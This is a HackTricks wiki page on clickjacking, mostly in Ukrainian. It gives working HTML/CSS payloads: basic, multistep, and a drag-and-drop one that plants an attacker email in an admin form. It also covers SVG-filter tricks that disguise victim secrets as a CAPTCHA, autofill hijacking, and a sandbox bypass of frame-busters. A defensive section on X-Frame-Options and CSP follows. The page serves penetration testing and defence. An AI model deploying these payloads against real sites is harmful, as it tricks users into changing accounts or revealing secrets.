Clickjacking

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

What is Clickjacking

У атаці clickjacking користувача обманом змушують натиснути на елемент на веб-сторінці, який є або невидимим, або маскується під інший елемент. Така маніпуляція може призвести до небажаних наслідків для користувача, таких як завантаження malware, перенаправлення на шкідливі веб-сторінки, передача облікових даних або конфіденційної інформації, перекази коштів або онлайн-купівля товарів.

Prepopulate forms trick

Іноді можливо заповнити значення полів форми, використовуючи GET параметри під час завантаження сторінки. Атакувальник може зловживати цією поведінкою, щоб заповнити форму довільними даними і відправити clickjacking payload, щоб користувач натиснув кнопку Submit.

Populate form with Drag&Drop

Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його ввести певну інформацію (наприклад email або конкретний пароль, який ви знаєте), ви можете просто попросити його Drag&Drop чогось, що запише ваші контрольовані дані, як у this example.

Базовий Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Багатокроковий Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Якщо ви виявили XSS-атаку, яка вимагає, щоб користувач натиснув на певний елемент, щоб тригернути XSS, і сторінка є vulnerable to clickjacking, ви можете зловживати цим, щоб обдурити користувача й змусити його клацнути кнопку/посилання.
Example:
Ви знайшли self XSS у приватних даних акаунта (дані, які лише ви можете встановити та прочитати). Сторінка з формою для встановлення цих даних є vulnerable до Clickjacking і ви можете prepopulate цю form за допомогою GET parameters.
Атакувальник може підготувати Clickjacking-атаку на цю сторінку, prepopulating form з XSS payload і обдурити user щоб він Submit форму. Тож, коли форму буде відправлено і значення змінено, user виконає XSS.

DoubleClickjacking

Firstly explained in this post, ця техніка змусить жертву двічі клацнути по кнопці на кастомній сторінці, розташованій у певному місці, і використовує різницю в часі між подіями mousedown та onclick, щоб під час подвійного кліку завантажити сторінку жертви, так що victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Ця техніка дозволяє змусити користувача клацнути в одному місці на сторінці жертви, оминаючи всі захисти проти clickjacking. Отже, атакувальнику потрібно знайти sensitive actions, які можна виконати лише одним кліком, наприклад OAuth prompts для підтвердження дозволів.

SVG Filters / Cross-Origin Iframe UI Redressing

Сучасні збірки Chromium/WebKit/Gecko дозволяють застосовувати CSS filter:url(#id) до cross-origin iframes. Растеризовані пікселі iframe виставляються у SVG filter graph як SourceGraphic, тому примітиви такі як feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology тощо можуть довільно спотворювати UI жертви перед тим, як користувач його побачить, навіть якщо зловмисник ніколи не чіпає DOM. Простий фільтр у стилі Liquid-Glass виглядає так:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Корисні примітиви: feImage завантажує attacker bitmaps (наприклад, overlays, displacement maps); feFlood будує однотонні mattes; feOffset/feGaussianBlur уточнюють highlights; feDisplacementMap заломлює/деформує text; feComposite operator="arithmetic" реалізує довільні per-channel math (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), чого достатньо для підсилення контрасту, маскування та AND/OR операцій; feTile обрізає і реплікує pixel probes; feMorphology збільшує/зменшує strokes; feColorMatrix переміщує luma в alpha для побудови точних масок.

Деформація secrets у CAPTCHA-подібні підказки

Якщо framable endpoint відображає secrets (tokens, reset codes, API keys), attacker може деформувати їх так, щоб вони нагадували CAPTCHA і примусити до ручного переписування:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.

Реконтекстуалізація введень жертви

Фільтри можуть вибірково видаляти placeholder/validation текст, одночасно зберігаючи натискання клавіш користувача. Один із робочих процесів:

  1. feComposite operator="arithmetic" k2≈4 підсилює яскравість так, що сірий допоміжний текст насичується до білого.
  2. feTile обмежує робочу область до прямокутника input’а.
  3. feMorphology operator="erode" робить товщими темні гліфи, набрані жертвою, і зберігає їх у result="thick".
  4. feFlood створює білу підкладку, feBlend mode="difference" з thick, а другий feComposite k2≈100 перетворює це в різку луматичну маску.
  5. feColorMatrix переносить ту луму в alpha, а feComposite in="SourceGraphic" operator="in" зберігає тільки гліфи, введені користувачем.
  6. Ще один feBlend in2="white" плюс тонке обрізання дає чисте текстове поле, після чого атакуючий накладає свої HTML-лейбли (наприклад, “Enter your email”), у той час як прихований iframe все ще застосовує політику паролів origin’у жертви.

Safari має проблеми з feTile; той самий ефект можна відтворити за допомогою просторових матових масок, побудованих з feFlood + feColorMatrix + feComposite, для WebKit-only payloads.

Піксельні зонди, логіка та автомати станів

Обрізаючи регіон розміром 2–4 px за допомогою feTile і плиткуючи його на 100% viewport’у, атакуючий перетворює вибраний колір у текстуру на весь кадр, яку можна порогувати у булеву маску:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Для довільних кольорів, посилання feFlood (наприклад, #0B57D0) разом із feBlend mode="difference" та іншим арифметичним composite (k2≈100, k4 як толерантність) дає білий колір тільки коли вибраний піксель відповідає цільовому відтінку. Подача цих масок у feComposite з налаштованими k1..k4 дає логічні вентилі: AND через k1=1, OR через k2=k3=1, XOR через feBlend mode="difference", NOT через змішування з білим. Послідовне з’єднання вентилів створює повний суматор (full adder) всередині графу фільтрів, доводячи, що конвеєр є функціонально повним.

Отже, атакувальники можуть читати UI стан без JavaScript. Приклади булевих змінних із модального робочого процесу:

  • D (dialog visible): зондувати затемнений кут і перевіряти проти білого.
  • L (dialog loaded): зондувати координати, де з’являється кнопка після готовності.
  • C (checkbox checked): порівняти піксель чекбокса з активним синім #0B57D0.
  • R (red success/failure banner): використати feMorphology і пороги червоного всередині прямокутника банера.

Кожен виявлений стан відкриває різне накладне зображення, вставлене через feImage xlink:href="data:...". Маскування цих зображень за допомогою D, L, C, R синхронізує оверлеї з реальним діалогом і веде жертву через багатокрокові робочі процеси (password resets, approvals, destructive confirmations) без жодного доступу до DOM.

Розширення браузера: DOM-based autofill clickjacking

Окрім iframing сторінок жертви, атакувальники можуть націлювати UI-елементи розширень браузера, які інжектяться в сторінку. Password managers рендерять autofill dropdowns поруч із фокусованими полями вводу; сфокусувавши поле під контролем атакувальника та приховавши/закривши dropdown розширення (opacity/overlay/top-layer трюки), змушений клік користувача може вибрати збережений елемент і заповнити чутливі дані у поля під контролем атакувальника. Цей варіант не вимагає експозиції iframe і працює повністю через DOM/CSS маніпуляції.

Стратегії захисту від Clickjacking

Захист на стороні клієнта

Скрипти, що виконуються на стороні клієнта, можуть виконувати дії для запобігання Clickjacking:

  • Переконатися, що вікно застосунку є основним або верхнім вікном.
  • Зробити всі фрейми видимими.
  • Запобігати клікам по невидимих фреймах.
  • Виявляти та попереджати користувачів про потенційні спроби Clickjacking.

Однак ці frame-busting скрипти можуть бути обійдені:

  • Browsers’ Security Settings: Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або через відсутність підтримки JavaScript.
  • HTML5 iframe sandbox Attribute: Атакувальник може нейтралізувати frame buster scripts, встановивши sandbox атрибут з allow-forms або allow-scripts без allow-top-navigation. Це перешкоджає iframe перевірити, чи воно є верхнім вікном, наприклад,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

Захист на стороні сервера

X-Frame-Options

The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a <frame> or <iframe>, helping to prevent Clickjacking:

  • X-Frame-Options: deny - Жоден домен не може вбудувати цей вміст у фрейм.
  • X-Frame-Options: sameorigin - Лише поточний сайт може вбудувати вміст у фрейм.
  • X-Frame-Options: allow-from https://trusted.com - Лише вказаний ‘uri’ може вбудовувати сторінку.
  • Зауважте обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві CSP frame-ancestors.

Директива frame-ancestors у Content Security Policy (CSP)

frame-ancestors directive in CSP є рекомендованим методом захисту від Clickjacking:

  • frame-ancestors 'none' - Схоже на X-Frame-Options: deny.
  • frame-ancestors 'self' - Схоже на X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Схоже на X-Frame-Options: allow-from.

Наприклад, наступний CSP дозволяє вбудовування тільки з того ж домену:

Content-Security-Policy: frame-ancestors 'self';

Детальнішу інформацію та складні приклади можна знайти в frame-ancestors CSP documentation та в Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) — це захід безпеки, який допомагає запобігати Clickjacking та іншим атакам з впровадження коду, вказуючи, які джерела браузер має дозволяти для завантаження контенту.

Директива frame-src

  • Визначає допустимі джерела для фреймів.
  • Більш специфічна, ніж директива default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми з того ж походження (self) та https://trusted-website.com.

child-src Директива

  • Введена в CSP рівня 2 для встановлення допустимих джерел для веб-воркерів і фреймів.
  • Виступає як запасний механізм для frame-src та worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми та воркери з того ж походження (self) та https://trusted-website.com.

Примітки щодо використання:

  • Зняття з використання: child-src поступово виводиться з експлуатації на користь frame-src та worker-src.
  • Поведінка при відсутності: Якщо frame-src відсутній, child-src використовується як запасний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
  • Чітке визначення джерел: Включайте в директиви лише довірені джерела, щоб уникнути експлуатації.

JavaScript скрипти, що переривають фрейми

Хоча вони не є повністю надійними, скрипти на JavaScript, які переривають фрейми, можуть використовуватися для запобігання відображенню веб-сторінки у фреймі. Приклад:

if (top !== self) {
top.location = self.location
}

Використання Anti-CSRF Tokens

  • Перевірка токенів: Використовуйте anti-CSRF tokens у вебзастосунках, щоб гарантувати, що запити, які змінюють стан, виконуються свідомо користувачем, а не через Clickjacked сторінку.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks